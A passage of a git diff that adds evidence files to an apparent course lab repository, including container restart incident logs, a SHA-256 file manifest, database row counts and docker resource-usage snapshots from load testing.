https://trivy.dev/docs/v0.69/guide/scanner/vulnerability#severity-selection for details. + +📣 Notices: + - Version 0.76.2 of Trivy is now available, current version is 0.69.3 + +To suppress version checks, run Trivy scans with the --skip-version-check flag + diff --git a/evidence/incidents.txt b/evidence/incidents.txt new file mode 100644 index 0000000..b9f3a18 --- /dev/null +++ b/evidence/incidents.txt @@ -0,0 +1,12 @@ + Container mtusi2026lab7-worker-1 Stopping + Container mtusi2026lab7-worker-1 Stopped + Container mtusi2026lab7-worker-1 Starting + Container mtusi2026lab7-worker-1 Started +{"incident": "worker_stop", "age_seconds": 37.34361, "depth": 1.0, "alert_firing_seconds": 38.781, "ready_after_restart_seconds": 1.582, "alert_resolved_seconds": 24.034, "total_seconds": 71.395} +PASS Tempo HTTP 503 trace includes DB span with LockNotAvailable +{"incident": "database_lock", "blocked_requests": 5, "failure_ms": [2017.5, 2018.43, 2025.51, 2022.49, 2016.44], "first_success_ms": 24.26, "since_locked_requests_seconds": 20.877} + Container mtusi2026lab7-traces-1 Stopping + Container mtusi2026lab7-traces-1 Stopped + Container mtusi2026lab7-traces-1 Starting + Container mtusi2026lab7-traces-1 Started +{"incident": "tempo_backend_stop", "successful_writes": 16, "upload_ready": true, "collector_memory": "71.06MiB / 256MiB", "dropped_spans_reported": 193, "outage_seconds": 19.618} diff --git a/evidence/lab6-baseline.sha256 b/evidence/lab6-baseline.sha256 new file mode 100644 index 0000000..d712095 --- /dev/null +++ b/evidence/lab6-baseline.sha256 @@ -0,0 +1,182 @@ +71afb8ddc323fe374627a88d2deee2f5a0884fff22e189fae15e177b697cbf15 .dockerignore +820589ce3b26c382bbedd275815c672ac763c50e680484e82b747fe8eaef8a05 .env.example +4ad5139bfe455c2d6bdaa5afdb03591a51b2d7ee4ba4dabb0639857479245c2d .github/pull_request_template.md +a45d7932ef14130aff8020bce79f043cccaf9692d697088a754d309a03f7d3e8 .github/workflows/contracts.yml +2bc1f5348c51163b0129f487e7645ac216984cd640c96e57765a5689d12ff185 .gitignore +2c01dd698cc9653dece49a94c9fd3f58d36e84764aaa643b46e26d7e599dc12e CONTRIBUTING.md +c34d53cd082d194aa4b58f504c4e0348d25b6afec3d6a9c0963dd01c9c81e971 COURSE.md +356a6eaf79fb212e78674eb179184a885e0dcef317b69d2606202c71c24ace30 Dockerfile +fd7ac9491c0c3c663b083c41a762fb38bc2d212fa4a2ed3e6a0702af72108709 Dockerfile.example +f2e7e9d59e06f260ccf3acc9baf79c4a3b66e1bc370ff6e21cbefb338210630a MAINTAINERS.md +d69a0703c92327d67bd31b686ccbb8eeed3ca54050517deae90490ebdf7de11c Makefile +583fa7625d728ead8a6ee2cd2de9f117ed3f4a1d9696c0bb9fb602fe549a31db README.md +0dee6807513b39c43ee0859972783f35c07e32687c265e4a51bd680944a75b5e REPORT.md +9bfd9eacae286dd9bffe29d6fe349534552560f966c3c3e6e6540e92d7357afb compose.example.yaml +de3e79e2ea104eb6d9292783ddc38ac145a5ead1ffc5e81b296d00de3f33b787 compose.yaml +72df27a559f88ffa3fd8c3c79d3c32f6db2c5986a0602677c51994c434a3fc4f contracts/README.md +cf0519e137410e4b34ab632aadb8ad8a381d4b73033e27b354c58eeacbdf86d6 contracts/attachment-states.md +381cc18c03789e935b391d007fb5843964be9cfd9f7530cb6b1996ed4a1c4c37 contracts/examples.json +45264a3db653bb79de8d8fcb8d70733924f3cbfcba0fa1253cecbc6828bce217 contracts/infrastructure.json +9ccf9b11466c0c3a26a941520ac5ff543241fc4935e3a6eebb01ef303779b10d contracts/jobs.schema.json +882c120c0e153a06c9cc824a802e317c58eb6590bc3d3a576f2e0a96f8597b62 contracts/observability.md +2c4074e8fac6bed6337fbbc0aaed0ae2321a76ef30ea68afad80a1f39699535a contracts/openapi.json +78e4bfd738d034597d15d8846accd8a8a5dc738a23a3d15f243f3992bd530cc3 evidence/README.md +82a9d7bd6a4a164fd80a103d55ecb29c6a7c8924d12b4317033ec383b72695b8 evidence/after_persistence.json +68e94bf01ba6dffd4a38dc82e527c67e52ee0625fa39fd6e177c4108ebfa352d evidence/backend_memory.json +435707fad69c0d12c63f5d315fb30ebefed5c22b337b25281fb1a577298db709 evidence/backend_outage.json +fa37b1d6fb497f563eee1e53edd939dabac4e7ee403135add3fabbf1b46ba866 evidence/before_persistence.json +df6d623e2d2b52eb78e13d9cf2d7e668348f55241817c0e956e922b2cf8620e8 evidence/build_start.txt +988067ee195ad0702fdff072644cbdacd0b0b568cac934001e2c5be84fe8d2f6 evidence/build_start_final.txt +938da0511149b7f79e951f2367e6459c6b0263b3d59d234116ce6a1ff0e317ae evidence/build_start_retry.txt +23d505f96996f24d1b5ed1017af4070a5b68b6fd9f298b550c17153014c34ecd evidence/capture_recovery.json +23d505f96996f24d1b5ed1017af4070a5b68b6fd9f298b550c17153014c34ecd evidence/capture_recovery.txt +2565302740d68505928d20f54bfeee0ba1739ef2acd5a811f4422265b0c21678 evidence/containers_final_stopped.json +8db270c51c906bff65913bea33554bb06575d94c0109913bd5428c04786adca4 evidence/docker_cleanup.json +1318eed6be42a7057226a44f0cdc2ff6abe76a2351897dcb1f93c60bcb531783 evidence/environment.json +ffca91547458c72972d635898d0c73f93c1addde9b1ac08af5e2de70fedb2530 evidence/experiment_containers.json +822262941c412efbffe3e500a1aacaa5a2f4fd13cafbc9c911fc1ae6dea25623 evidence/failover.txt +30566ee0bb11874c781d2822cc9aa496e2fc59f1a187a3105ed1894d1c3d71dc evidence/files_variants.txt +2639ea8d661dfa7bc88b9cc26c4c9565abc42fd1d860958f0cf905828ce32998 evidence/final_after_persistence.json +cc0040d190b408c43d7fce2953494adb5bb4917f68fd081e169979e29c39517b evidence/final_audit.json +7443f4512ec43b83ccd4c2c6cb29cc64321c5b6dd7928f0ad989697edaea99d2 evidence/final_before_persistence.json +3817859420f89eafb93714c92148709b2ffb3e0de3d5386193eb115e9c332feb evidence/final_persistence_scope.json +e8cfdf7dac29b083d69d1ec22cc473392a224d0e6dd23c3c3514596a24b7ccaa evidence/final_runtime_checks.txt +f9aec491740ec54dd996b99d03bcb1c4b06edf62e54f3c93fb02d7979ae622f0 evidence/final_stop.txt +10f6c9818d3584618752edbf4f32bc8da75e99cee540d1daef8bd0b7f0d3c890 evidence/grafana_image_fix.txt +9bfd7116c95a79183959f8d4d9bed8f4183f88be7f3bca451ae430dc9cbb4777 evidence/grafana_provisioning.json +9261363b733079a641c2e4cc9bc46ffa1d8336945a87f807b6cf68847dbc9b09 evidence/host_pip_check.txt +c274397952bbc634b59ad2213086f39325aa8849fec4aee6a63e2f5b4d6c2e20 evidence/http_correlation.json +fc8f3da7cadc8e3097a8a7d8ea76db1b79aed6a98a1f043aafa380c87bdf79f9 evidence/idempotency.json +7c6905b0cbd0769862a6e0aeee764851ab077876354b364d74617f44931be580 evidence/initial_captures/signals_db_2.json +a4a5ee06f2eb5f115f786a87d496a2cf9586387b9788360cc8e76a2589f6dc57 evidence/initial_captures/signals_worker_2.json +044a2058a6cfbb1b2b325267ee284d63fdd4db7c401d522456b5c718a301e4e0 evidence/initial_observability_audit.json +363af1800ed56d5bf3866f495581eee389ec5161bee12aafc4453cbcc253f6f7 evidence/initial_observability_audit.txt +b1ea742f1df6fba5357e9af571efd69e2e8e623cf1078a09305bf573368ef76a evidence/install_dev.txt +5d1d21770edf0971831f1cdd24f76b47eb5a4091bb2fa46ffbc8db9f376976d0 evidence/install_experiment.txt +fa03c1a53a413dfcf7e5bbac96fa28760a71b7396078db1d14c2620319599ca5 evidence/install_plotting.txt +ee35de9a5e417f4e2c29411c8054faa74173bf610f5638bfe903cab25b236bf0 evidence/interrupted_2026-10-29/slo_events.json +fbb301b95d1c11c8f005c8ad614140c0e2f95bdf94b0bc196327eda0c84bae8a evidence/interrupted_2026-10-29/slo_experiment.txt +59106b55d52a9ef8e62a974cda294f902bacb346848d04e968aae643b1d67b0b evidence/interrupted_2026-10-29/slo_samples.json +9a6a657c10a972d0308a361539e47a0143b12013b576751f0cd1ad4b50dfa1f9 evidence/interrupted_2026-10-29/slo_uploads.json +a9aa430de595370a1cd4a20b48fab87a9a6ec74fe5074d3651e64b6f444c71bc evidence/interruption.json +e883553e66b1f45231a178d4b114eb81db8e37a5efd040bcedbf1381b7f37f09 evidence/lab5_baseline.json +9d566816834955656ff6f7310cf44f0576eda06b693c2ca25e4fc792f3ff0cf8 evidence/last_stop.json +49563d83f4250f7036fc0baa26a7d677f79a9560f6a299280f597b24b74f84da evidence/metric_names.json +842b39c62f517e49b3ba00d5d19760c16d74a9a0b205f2fe93922e502e6faba1 evidence/observability_audit.json +35adff0a1526f4d8b4d4bce0af8bfda4b2049b805b2ff74829eec0fadc6c0442 evidence/observability_audit.txt +4c9e27cb5cf50ddae5c450f3ac7306e83d30aaa3973f1852241ee9be2a71d06d evidence/persistence.txt +4c9e27cb5cf50ddae5c450f3ac7306e83d30aaa3973f1852241ee9be2a71d06d evidence/persistence_final.txt +ca36348ae959d4c063f58468f9c780a8f33b69be00c1b99a945775115a88d772 evidence/persistence_scope.json +89d49d9e12cd2061b6759e320771db16aac96f846d3e5e635262d692e6022a2a evidence/plotting.txt +f5b6ad8133f23270b20cb1b8967e9d556eb0b971804cebb4974fc2125d6c1a28 evidence/rebuild_regression.txt +3e15a1123b123b161fa4db82f3422a0ff783a8fb12695454205855071dcd562b evidence/resource_summary.json +68c209b8d7013db72f19448ca9cc507dab91d67564db5920bacd9a144dae76d7 evidence/resumed_build.txt +930479b750f4d26bee87cc1957bf0add0ae3f5184a3e5bd72ca7df8a76619cc4 evidence/resumed_smoke.txt +722bc05c77a2dde53b3ddc0eaefafa47187de93753dbe4210326fea1cf68fe3e evidence/retry_trace.txt +c56cf51c0a35deff50fbcbcec2eef986c5d1127cdefb3572706686a2247f7e02 evidence/retry_trace_result.json +9261363b733079a641c2e4cc9bc46ffa1d8336945a87f807b6cf68847dbc9b09 evidence/runtime_pip_check.txt +f405e27910915ebea2bb804dd0f345c5bb268945a39d4c5419c87125f546fc98 evidence/signals_db_1.json +78f0ce5b30b69ecc3c3ba1972533eeb2b3d7b565f207dd507935d826d6dd1f86 evidence/signals_db_2.json +86e9d4df1dd02c10e666139779ff1fc671fb97c479f52835a8777a3019043e5d evidence/signals_final.json +794f1452816a8ceb99ceffc199a002243ce3907dbe98afb18473991b5277b88b evidence/signals_retry.json +fd5df5aa13a0b676d95a770c5cab4d221fa9a497f44e6909e87156f65c7abf97 evidence/signals_worker_1.json +38fd48b1a92de0d2f1d4026bb4cf50836cc33d679b2b6e19864c09840a030b28 evidence/signals_worker_2.json +0e0ed61953759c4b217a912c105f1fad7f2625d06b74c9a3d55854c4da78bc07 evidence/slo_events.json +82a4b0a4dfa4aa9aa0ae31eeeccfce625859d5e0e7116cc735e7fb132375823b evidence/slo_experiment.txt +a0e2ec62938a3e16b17275e43ecb4aca55a7d471469e9aa523013e0164f96937 evidence/slo_requests.json +55ebd763f51d07d8cecac01e0300f38b98a1d9f3e32e1223c7b1bfb59cbcc81a evidence/slo_result.json +44699d6a514bf125da39e9e69feb4e72fbbd7df7249ced8b227e1b1ceb49cd0f evidence/slo_result_wallclock_rates.json +4e2dcaf7bdb189bdd8ca676eefa79e2510ac14c36a0246f313b1827aadaaea4f evidence/slo_samples.json +beedf37a80001b80ec00c1c4fb04a502a38c40b9bdf0b2667fe56e00cf913f38 evidence/slo_timeline.png +5eb54a89aafb923ea9c847e804c87a4d87cdb0f3a1ce35cb9ff36db1281ad35f evidence/slo_timeline.svg +1319585b599ec9e3a265143cf98318a34bcb49e7c9248316459b262966e85235 evidence/slo_uploads.json +e864b0ac2e0a201a0f6597fc48d33e114dc7124279d485021ba520bf20e7d423 evidence/smoke_initial.txt +fe63dfe4004f613053b154da4de3107a881fcadae7588bf57a6fc515ad05f696 evidence/source_audit.json +6a0f289c62290f018793ce8a05b4e5e22ebdc029674b17662092eb53fdbd9aaf evidence/static_checks.txt +6a0f289c62290f018793ce8a05b4e5e22ebdc029674b17662092eb53fdbd9aaf evidence/static_final.txt +2211f6ab4b2287e68747a46fdeea76723b06041015101e66c7a969908e123a03 evidence/student_final.txt +eb7af63e4912641db7cbb48ab8068e1e27cac0390e45ee085a3f7926311e9cb0 evidence/student_final_retry.txt +f57b67d662d272ef7e71bd136952eaed6671003f4df50843ba34cd021c4a9cf0 evidence/student_regression.txt +b4eb7a118f003bb6d020f8c57eab2fc4795e44b45e515aabf8c5578b80c46890 evidence/successful_latency.png +89e4a87705d217043830dddbdf2a5d35f884587f9a27460fe740a7be881bd92d evidence/tempo_capacity_fix.txt +985ccc521d3d948985a349e6c6eb75f3faacb222e2677c2fc491819c4961d6f9 evidence/trace_format_probe.json +1d55acf482ceff34b46c676813b1c07cfdf5d040700a86dc64858ed5479bb9af evidence/trace_probe.json +8c086fd540092b3e31a945a416632bcda6c4bea39253f86b076f791b362cf5e4 examples/requests.http +0e804fa51debba4c38d3cc84abf4704897665e0335b272060363f03aadd6354f infra/README.md +e7a29626f215f9199a45c301985b676f73b1f91890d29180bf56a89c070733a1 infra/broker-entrypoint.sh +4eb8f27be92259b953ca0913d4f6c3b19d799ee9d942d9b0b5d52414238c2928 infra/haproxy.cfg +079c38c01f8baff3d255ddd70ff525d69946b9e66400b79fb9e2d2a557ac2c6f infra/minio-entrypoint.sh +0d6c93589f7b96b7045c1b82a261362697d25f14c9e1a4946b8ea8a977c1e842 infra/otel/README.md +b6ff1a136bc86394557f812313a2c31a102dfa176284736db8c96e3af8b57a2c infra/otel/alerts.yaml +09f249c260f243b805a3f67db611b98773b02ce831dc79479b72f07898b8f480 infra/otel/collector.yaml +2f52e5a1b03243b5f7367a4bdaffbbeb1bcb1fe26054b3bc26bddf97175334f2 infra/otel/grafana/dashboards/lab6.json +140a2bd0c76c53c873cf9e8606b3cc297ea7cf09f8bb59d123985ecc0f3a8b78 infra/otel/grafana/provisioning/dashboards/provider.yaml +b52c3bd7801e33d7a3032964205588b91ed69187d4ea395a7381aec3bfd786af infra/otel/grafana/provisioning/datasources/sources.yaml +304058f3e78129837cd1d63ddd2ddc3cf11b2420526988161189c2f65e6cc032 infra/otel/loki.yaml +40d21f8261d852bcc8a79b8d65fad3b30f2400886a534f86b3982ea5d5b20510 infra/otel/prometheus.yaml +927cbe03076304e82df0f36ed146d2f5709115f108c7ad52b8710992b66b5968 infra/otel/recording.yaml +85c2a9ec68875872502a399d25e87a924c0519295d8a0f10d5ed802922e90841 infra/otel/tempo.yaml +4b79c59c7382549687a991a4a7a62075ba81e5cefd6dde21dea11b3aeb572d8d infra/s3-api-policy.json +cceecb966442d136131bdfb2703fd0a39c2e5de5a3900215b6096921895ae59e infra/s3.Dockerfile +807dbb02b180ddb13dc898c117e09495e15a462e83f4b55133ba174f089594ce lab.json +814839110b8834101ebd5d550bb51eacb07f5f2f65d7793dba4cda88205f6d82 migrations/001_initial.sql +6f72982e63569ca6d636c8beb44d44c54d9592683bb87ce2e242fdb042cf63d3 migrations/002_idempotency.sql +84001a7e94a33686183567c0457da1439ea40301f04af779346631b9929a8e49 migrations/003_attachments.sql +a15c99d4694cd145945266958c1965faafb9622d7affcc5cb3dab038d3b8c433 migrations/004_pipeline.sql +97578d999c1113f83a34911c1e16961d1929e2d643f34ab895b9e8fbfc14cd24 migrations/005_observability.sql +4cefdb67007caf026d1613be7c519c01b4c8343db7c4f4b618677e01cf113525 requirements-dev.txt +b5870394a3629bba55945d7650e408ae2d67d511437fadada0150793dc19676d requirements-experiment.txt +95f9345600b6046ccb11e268c18f0593dde5c9895bdd3f3c2fa18533e5de3970 requirements.runtime.lock +4b5a91a80da72517be18aaf68472f64d52727239b8b4965b4fbd94fecdb65f5d requirements.txt +9674f0b2c41c43152b86f94cee1c20875bd1e3c82a90d56a9cb3b266bd6e2462 scripts/audit_observability.py +d06d640ab17d695940fa55958ff65b6f30ba9f8b50228dd1b3f9c4d235f346a3 scripts/bootstrap_s3.sh +7c4402c2a6ab80d3b4676e1866d6ecc87b6daea14c080bcb9be9a7e8b959d671 scripts/check_contract.py +6d390875fa3baa18195363636578a7aba0a2229e0fb545ff04ac032d6cb2cf0d scripts/experiment.py +56c1b9fc69db54bc8a2f1007646aaca275e72ce77504f31197e3f6f80db0a7ae scripts/healthcheck.py +88c1ec5f995c238c38fcd800fef21660b3c417c68d1b6b6ac3a53f02eae773e7 scripts/observe_experiment.py +1b5008717698dc167bb4591ac2193d35330528f8fc4e76070cb7662de81311c7 scripts/plot_observability.py +466b2db95aacb32243459a0035b1766b1fa92e5403508fb8c940ebb4971e45a4 scripts/recover_observations.py +0328246ba75defbced992104e986fde973f63e3830d83251eced5953263e944b scripts/restart.example.sh +b62fc104204790f1805794f9a395d89fd553e0395dcc2cd6c7d982a370c7685b scripts/restart.sh +9de80d6c805abc23e267474975a207023e3057b4b01896a3b9b5b1e3b3f656df scripts/restore-api.sh +ef3c27836cd7da9553d58a3d07df89f1933b5e2eb0146c3549557d6572e0fd63 scripts/retry_trace.py +385ec98024530a1780dc167bf25623fb9e93eb6d4b1d69b729fe83172ecaf257 scripts/setup.sh +c3501a55a9535a1df5f15c0c8421940475098d0815a7e7393171fbe8a6306f07 scripts/stack.py +94fb978aa4434eace455272cf4c9f26147c1d531d5798eeb31d3ef236dcdd196 scripts/start.sh +1bcf34394520b89d95b7605ec56675be799eea920e83cfbba306d5dc0a6d9811 scripts/stop-one.example.sh +4d7e902cbf1c8d111e8d48945b04321df4a9d8abf5e8dbabcf3d52c33b574140 scripts/stop-one.sh +9a096da92d60b375f546cfab76fff2286295d66bd6260b786fb4b80ffab79fc2 scripts/test_expiry.sh +4e981acbfc10dac58817bf922d5896e996798551fedc1b2385130e1cddb13d54 scripts/validate_openapi.py +2eeec7bd4e20772d38ac726a712be9510e4ea04ab2d6c1cf273c6c76e70a8e8b scripts/wait_ready.py +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 src/__init__.py +9ff7f83700eaf9f238aa9f8ee80ec7bb7dd959c0f646d5f9dc770e7cfae7e8d6 src/attachments.py +36cc72748c0896a816cf8954a79da82bffe057341fb0cdd420028620c14766df src/broker.py +8c1953c509e621997eaf9bc840bade221448da42915b31032284ef6c5f6cf504 src/cleanup.py +e6efd7661c5eb7ac0227e2c08fa4d6dc55a3f567558478b33d406baf3bae1502 src/config.py +9a97a5196491dd919f670df57b4c6190c40535a9b910d52e639600b95d7a8b77 src/dispatcher.py +b8262a4acbe0478e72aea0b3629ac7a2d29cdc6844c5a6b91fdac92a93898869 src/errors.py +614bb5875045fce27fe04b0072948082c8c895aa37223839d9ab442b2ba6811f src/faults.py +a178056908165e5e5cf6ebaa0c6570c7678de540301f404423cc8bd750258a0e src/image_pipeline.py +243b03bd1c567dba7742b4ec84cecd37439654843211c4256885521a5def5701 src/jobs.py +97945d885df273f94f26563bf7fe6bc5e1d0cd2dae43d115d738099259f5b7ee src/main.py +4dc5966309f3021d2e0438d299aee993556b204db27d888f7eed94d100a7d26f src/migrate.py +e4e914aeb9ca0cd4bee0d19813d8560eb2b4e410c14d18d98ed5ececcd1c6a77 src/storage.py +500b8adda736fd123b6916e226b2a12ddbdc5e90e5b4b3c46a980dc670b3387f src/telemetry.py +2fc7038f982a40da4f29e840ff37abee8d5e053635857a8271e304d297a46e3d src/worker.py +de246749aa9c0b0756b41b13261b9be60fc15694c973ffcc56d225a056154b54 student-tests/attachments.py +8e16fab0154d6a54b5cadccda0e11f61934649c9a25bc93391dde83f01f117f2 student-tests/checks.py +369d37b987afab0acdae2e3cb4beabdcdd07a73bbbbd31df0a0aa84485ed8b7d student-tests/database.py +e20003ebc5d79d45c72b7fdab88af6f0144803be20a533ce18fe59ffb07f84be student-tests/dependencies.py +27e5e5fc9127b5ca6de14b9c4a0ce834c7f276bc19a0d15e3087c83d1cb790da student-tests/file_failover.py +38138aac31ecb4e079ccfef7e80d25708c2880b85d29bf4892db352648339227 student-tests/idempotency.py +e285901923c0fd108c3bc074aae209e1781f66e0834507c085c8a22b134f6c9e student-tests/pipeline_scenario.py +12d508338c3941f2e3d8c38ebf892dbd2001dd4a8f697889779bf82a50d19afc student-tests/test_api.py +c26e3e2f7e6561c1d8b1ff22e4324a88554a68117701b962c531f0a20d0d6033 student-tests/variants.py +e0bfa7e196797f6a5bf6e44d8ad2ffeb82651927ff5d8484eb1c2dda1ec7dec5 tests/README.md +8d50976fc7c7bbb81e88a152f613c61ab25eaf53dba33c6a9dfab19f868d546d tests/client.py +c001783760b4f87a7a8441a7ba55f5d080ff48e1397d3581d72a88d7691f96c2 tests/fixtures/README.md +99ea7533c441f79cd630d15ce4d58d1ec4e06f6f0efb3b77a5c088305cd1bd75 tests/fixtures/sample.png +a9a4f89181c8e0fda6ce42e1a1af32fb42d8e3ae519e314207127c9b9b448b13 tests/image_probe.py +6d3511ea719c7a7e841083e73d435c86dcbfd9f4e5c2a07d62eb9614b01d9933 tests/load.py +1f96663a174b3978d24eff66f2741f5f8c9b788d3242261d37a972720c52788b tests/resilience.py +52ac38eb343ff7d43e7543588e1da58ca06c9fce74b2b0d0bf0e4982bc23c1db tests/smoke.py diff --git a/evidence/load-data-after.txt b/evidence/load-data-after.txt new file mode 100644 index 0000000..bc70e9a --- /dev/null +++ b/evidence/load-data-after.txt @@ -0,0 +1,3 @@ +users|34 +messages|4488 +attachments|12 diff --git a/evidence/load-data-before.txt b/evidence/load-data-before.txt new file mode 100644 index 0000000..e6bf42e --- /dev/null +++ b/evidence/load-data-before.txt @@ -0,0 +1,3 @@ +users|31 +messages|262 +attachments|12 diff --git a/evidence/load-resources.txt b/evidence/load-resources.txt new file mode 100644 index 0000000..01d6635 --- /dev/null +++ b/evidence/load-resources.txt @@ -0,0 +1,126 @@ +2026-11-11T13:02:15+03:00 +mtusi2026lab7-api-1 97.60% 179.3MiB / 512MiB +mtusi2026lab7-api-2 96.61% 161.7MiB / 512MiB +mtusi2026lab7-broker-1 0.26% 19.44MiB / 96MiB +mtusi2026lab7-collector-1 1.56% 22.56MiB / 96MiB +mtusi2026lab7-db-1 41.69% 37.39MiB / 512MiB +mtusi2026lab7-dispatcher-1 5.70% 48.72MiB / 256MiB +mtusi2026lab7-grafana-1 0.31% 75.3MiB / 512MiB +mtusi2026lab7-lb-1 40.87% 25.53MiB / 96MiB +mtusi2026lab7-logs-1 1.36% 68.43MiB / 384MiB +mtusi2026lab7-loki-1 0.05% 21.48MiB / 96MiB +mtusi2026lab7-metrics-1 0.28% 50.91MiB / 256MiB +mtusi2026lab7-openbao-1 1.53% 29.54MiB / 256MiB +mtusi2026lab7-otel-1 11.11% 71.92MiB / 256MiB +mtusi2026lab7-prometheus-1 0.00% 25.95MiB / 96MiB +mtusi2026lab7-reconciler-1 0.01% 63.66MiB / 256MiB +mtusi2026lab7-s3-1 0.50% 104.2MiB / 512MiB +mtusi2026lab7-streams-1 0.29% 8.242MiB / 256MiB +mtusi2026lab7-tempo-1 0.98% 19.1MiB / 96MiB +mtusi2026lab7-traces-1 7.00% 288.5MiB / 512MiB +mtusi2026lab7-worker-1 0.40% 75.65MiB / 768MiB +2026-11-11T13:02:20+03:00 +mtusi2026lab7-api-1 88.96% 212MiB / 512MiB +mtusi2026lab7-api-2 96.23% 276.1MiB / 512MiB +mtusi2026lab7-broker-1 0.17% 19.44MiB / 96MiB +mtusi2026lab7-collector-1 1.74% 22.57MiB / 96MiB +mtusi2026lab7-db-1 35.61% 42.86MiB / 512MiB +mtusi2026lab7-dispatcher-1 4.82% 48.73MiB / 256MiB +mtusi2026lab7-grafana-1 0.17% 75.3MiB / 512MiB +mtusi2026lab7-lb-1 34.74% 26.02MiB / 96MiB +mtusi2026lab7-logs-1 1.31% 80.7MiB / 384MiB +mtusi2026lab7-loki-1 0.09% 21.48MiB / 96MiB +mtusi2026lab7-metrics-1 0.01% 50.91MiB / 256MiB +mtusi2026lab7-openbao-1 1.01% 29.54MiB / 256MiB +mtusi2026lab7-otel-1 6.40% 70.36MiB / 256MiB +mtusi2026lab7-prometheus-1 0.00% 25.95MiB / 96MiB +mtusi2026lab7-reconciler-1 0.17% 63.66MiB / 256MiB +mtusi2026lab7-s3-1 0.34% 104.2MiB / 512MiB +mtusi2026lab7-streams-1 0.28% 8.242MiB / 256MiB +mtusi2026lab7-tempo-1 0.72% 19.1MiB / 96MiB +mtusi2026lab7-traces-1 4.29% 319.5MiB / 512MiB +mtusi2026lab7-worker-1 0.12% 75.65MiB / 768MiB +2026-11-11T13:02:26+03:00 +mtusi2026lab7-api-1 92.55% 236.1MiB / 512MiB +mtusi2026lab7-api-2 90.22% 207.2MiB / 512MiB +mtusi2026lab7-broker-1 0.21% 19.44MiB / 96MiB +mtusi2026lab7-collector-1 1.61% 22.57MiB / 96MiB +mtusi2026lab7-db-1 32.17% 43.97MiB / 512MiB +mtusi2026lab7-dispatcher-1 4.73% 48.69MiB / 256MiB +mtusi2026lab7-grafana-1 2.63% 75.31MiB / 512MiB +mtusi2026lab7-lb-1 34.08% 26.6MiB / 96MiB +mtusi2026lab7-logs-1 1.81% 80.75MiB / 384MiB +mtusi2026lab7-loki-1 0.10% 21.49MiB / 96MiB +mtusi2026lab7-metrics-1 0.02% 50.91MiB / 256MiB +mtusi2026lab7-openbao-1 0.86% 29.54MiB / 256MiB +mtusi2026lab7-otel-1 7.78% 70.89MiB / 256MiB +mtusi2026lab7-prometheus-1 0.00% 25.95MiB / 96MiB +mtusi2026lab7-reconciler-1 0.01% 63.82MiB / 256MiB +mtusi2026lab7-s3-1 0.32% 106.2MiB / 512MiB +mtusi2026lab7-streams-1 0.30% 8.242MiB / 256MiB +mtusi2026lab7-tempo-1 0.69% 19.1MiB / 96MiB +mtusi2026lab7-traces-1 4.02% 321.2MiB / 512MiB +mtusi2026lab7-worker-1 0.20% 75.64MiB / 768MiB +2026-11-11T13:02:32+03:00 +mtusi2026lab7-api-1 100.02% 269.4MiB / 512MiB +mtusi2026lab7-api-2 100.84% 242.2MiB / 512MiB +mtusi2026lab7-broker-1 0.21% 19.44MiB / 96MiB +mtusi2026lab7-collector-1 1.75% 22.57MiB / 96MiB +mtusi2026lab7-db-1 41.41% 44.71MiB / 512MiB +mtusi2026lab7-dispatcher-1 4.65% 48.7MiB / 256MiB +mtusi2026lab7-grafana-1 0.18% 75.31MiB / 512MiB +mtusi2026lab7-lb-1 40.90% 27.13MiB / 96MiB +mtusi2026lab7-logs-1 1.32% 90.55MiB / 384MiB +mtusi2026lab7-loki-1 0.05% 21.49MiB / 96MiB +mtusi2026lab7-metrics-1 0.38% 50.91MiB / 256MiB +mtusi2026lab7-openbao-1 1.10% 30.31MiB / 256MiB +mtusi2026lab7-otel-1 9.38% 70.57MiB / 256MiB +mtusi2026lab7-prometheus-1 0.00% 25.95MiB / 96MiB +mtusi2026lab7-reconciler-1 0.02% 63.82MiB / 256MiB +mtusi2026lab7-s3-1 0.32% 106.3MiB / 512MiB +mtusi2026lab7-streams-1 0.31% 8.246MiB / 256MiB +mtusi2026lab7-tempo-1 0.86% 19.1MiB / 96MiB +mtusi2026lab7-traces-1 5.23% 323.9MiB / 512MiB +mtusi2026lab7-worker-1 0.17% 75.64MiB / 768MiB +2026-11-11T13:02:38+03:00 +mtusi2026lab7-api-1 83.60% 282.4MiB / 512MiB +mtusi2026lab7-api-2 93.45% 270.1MiB / 512MiB +mtusi2026lab7-broker-1 0.32% 19.65MiB / 96MiB +mtusi2026lab7-collector-1 1.47% 22.57MiB / 96MiB +mtusi2026lab7-db-1 35.35% 45.29MiB / 512MiB +mtusi2026lab7-dispatcher-1 4.81% 48.69MiB / 256MiB +mtusi2026lab7-grafana-1 0.31% 75.31MiB / 512MiB +mtusi2026lab7-lb-1 32.93% 27.4MiB / 96MiB +mtusi2026lab7-logs-1 1.39% 93.86MiB / 384MiB +mtusi2026lab7-loki-1 0.05% 21.49MiB / 96MiB +mtusi2026lab7-metrics-1 0.00% 50.92MiB / 256MiB +mtusi2026lab7-openbao-1 1.02% 30.32MiB / 256MiB +mtusi2026lab7-otel-1 5.58% 71.98MiB / 256MiB +mtusi2026lab7-prometheus-1 0.00% 25.95MiB / 96MiB +mtusi2026lab7-reconciler-1 0.02% 63.82MiB / 256MiB +mtusi2026lab7-s3-1 0.30% 106.3MiB / 512MiB +mtusi2026lab7-streams-1 0.28% 8.242MiB / 256MiB +mtusi2026lab7-tempo-1 0.63% 19.1MiB / 96MiB +mtusi2026lab7-traces-1 6.37% 206MiB / 512MiB +mtusi2026lab7-worker-1 0.31% 75.64MiB / 768MiB +2026-11-11T13:02:44+03:00 +mtusi2026lab7-api-1 3.61% 209.2MiB / 512MiB +mtusi2026lab7-api-2 2.61% 260.4MiB / 512MiB +mtusi2026lab7-broker-1 0.29% 19.65MiB / 96MiB +mtusi2026lab7-collector-1 0.38% 22.57MiB / 96MiB +mtusi2026lab7-db-1 8.08% 46.6MiB / 512MiB +mtusi2026lab7-dispatcher-1 5.02% 48.69MiB / 256MiB +mtusi2026lab7-grafana-1 0.27% 75.31MiB / 512MiB +mtusi2026lab7-lb-1 0.94% 27.55MiB / 96MiB +mtusi2026lab7-logs-1 0.91% 93.95MiB / 384MiB +mtusi2026lab7-loki-1 0.03% 21.49MiB / 96MiB +mtusi2026lab7-metrics-1 0.10% 50.93MiB / 256MiB +mtusi2026lab7-openbao-1 2.66% 30.33MiB / 256MiB +mtusi2026lab7-otel-1 1.22% 72.64MiB / 256MiB +mtusi2026lab7-prometheus-1 0.00% 25.95MiB / 96MiB +mtusi2026lab7-reconciler-1 0.41% 63.82MiB / 256MiB +mtusi2026lab7-s3-1 0.29% 106.3MiB / 512MiB +mtusi2026lab7-streams-1 0.44% 8.242MiB / 256MiB +mtusi2026lab7-tempo-1 0.05% 